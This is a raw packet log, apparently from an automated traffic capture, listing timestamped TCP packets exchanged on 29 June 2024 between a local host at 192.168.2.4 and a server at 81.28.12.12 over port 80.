Jun 29, 2024 08:05:16.706300974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706305981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706336021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706435919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706445932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706455946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706466913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706470013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706476927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706486940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706490993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706497908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706507921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706507921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706542015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706650972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706655025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706664085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706759930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706769943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706779003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706789017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706799030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706808090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706820965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706851006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706891060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706921101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706942081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706950903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706970930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.707060099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.707149982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707159996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707169056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707179070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707217932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707237005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.707237005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.707288980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.707813978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707822084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707844019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707855940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707865000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707876921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.707885981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.707899094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.707926989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.707989931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.707990885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708002090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708126068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.708287001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708451033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708477020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708496094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708497047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.708506107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708528042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.708642006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.708705902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708745956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708780050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708812952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.708848953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.708874941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.709048986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.709829092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.709882021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.709911108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.709940910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.709995031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710031033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710057974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710089922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710117102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710117102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710155010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710202932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710220098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710273027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710304976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710330963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710382938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710417986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710437059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710469961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710503101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710525990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710558891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710587978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710613966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710644960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710679054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710704088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710736990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710772038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710800886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710839033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.710853100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.710973978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.777081013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777158022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777201891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.777234077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777287006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777331114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.777359962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777394056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777426958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.777447939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777481079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.777519941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777551889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777587891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.777607918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777640104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777673006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.777694941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777725935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777760029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.777781963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777816057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.777844906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.777869940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.778023005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.780668974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.780720949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.780754089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.780797005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.780797005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.780872107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.780915022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.780942917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.780966043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.780997992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.781030893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.781052113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.781164885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.781223059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.781348944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.782031059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.782082081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.782118082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.782174110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.782202005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.782233953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.782258987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.782291889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.782324076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.782347918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.782424927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.805814981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.805880070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.805938959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.805989981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806031942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806046963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806063890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806127071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806162119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806196928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806216955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806251049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806272030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806338072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806371927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806396961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806428909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806463003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806485891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806519985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806540966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806572914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806607008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806627035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806662083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806695938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806719065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806790113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806819916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806844950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806878090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.806916952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.806966066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807008982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807038069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807064056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807094097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807126999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807147980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807183981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807205915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807238102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807262897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807307005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807322979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807339907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807370901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807406902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807424068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807476997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807508945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807529926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807564974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807589054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807619095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807652950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807673931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807707071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807742119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807763100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807812929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807846069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807867050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807914972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807935953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807970047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.807991028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.807991982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808027983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808063984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808084011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808116913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808139086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808171034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808204889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808227062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808259964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808300018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808315039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808347940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808382988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808403969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808435917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808470011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808521986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808557034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808592081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808620930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808634996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808665991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808686972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808725119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808756113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808793068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808825970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808847904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808881044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808914900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.808937073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.808970928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809001923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809024096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809056997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809077978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809112072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809133053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809164047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809187889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809222937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809252977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809278965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809310913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809343100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809367895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809400082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809432983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809454918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809488058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809521914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809544086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809575081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809607029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809621096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809652090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809684992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809719086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809741020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809773922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809808016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809830904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809864044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809891939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809891939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809926033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.809959888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.809982061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.810012102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.810035944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.810070038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.810094118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.810127020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.810148954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.810204983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.810204983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.866770983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.866801023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.866836071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.866857052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.866904020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.866945982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.866987944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.867019892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867069960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867104053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.867125988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867172003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867206097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.867243052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867276907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867324114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.867351055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867384911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867404938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.867430925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867463112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.867486000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867521048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867541075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.867568970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.867604017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.867681026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.870376110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.870429039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.870476961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.870498896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.870549917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.870582104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.870618105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.870635986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.870667934 CEST	80	49731	81.28.12.12	192.168.2.4
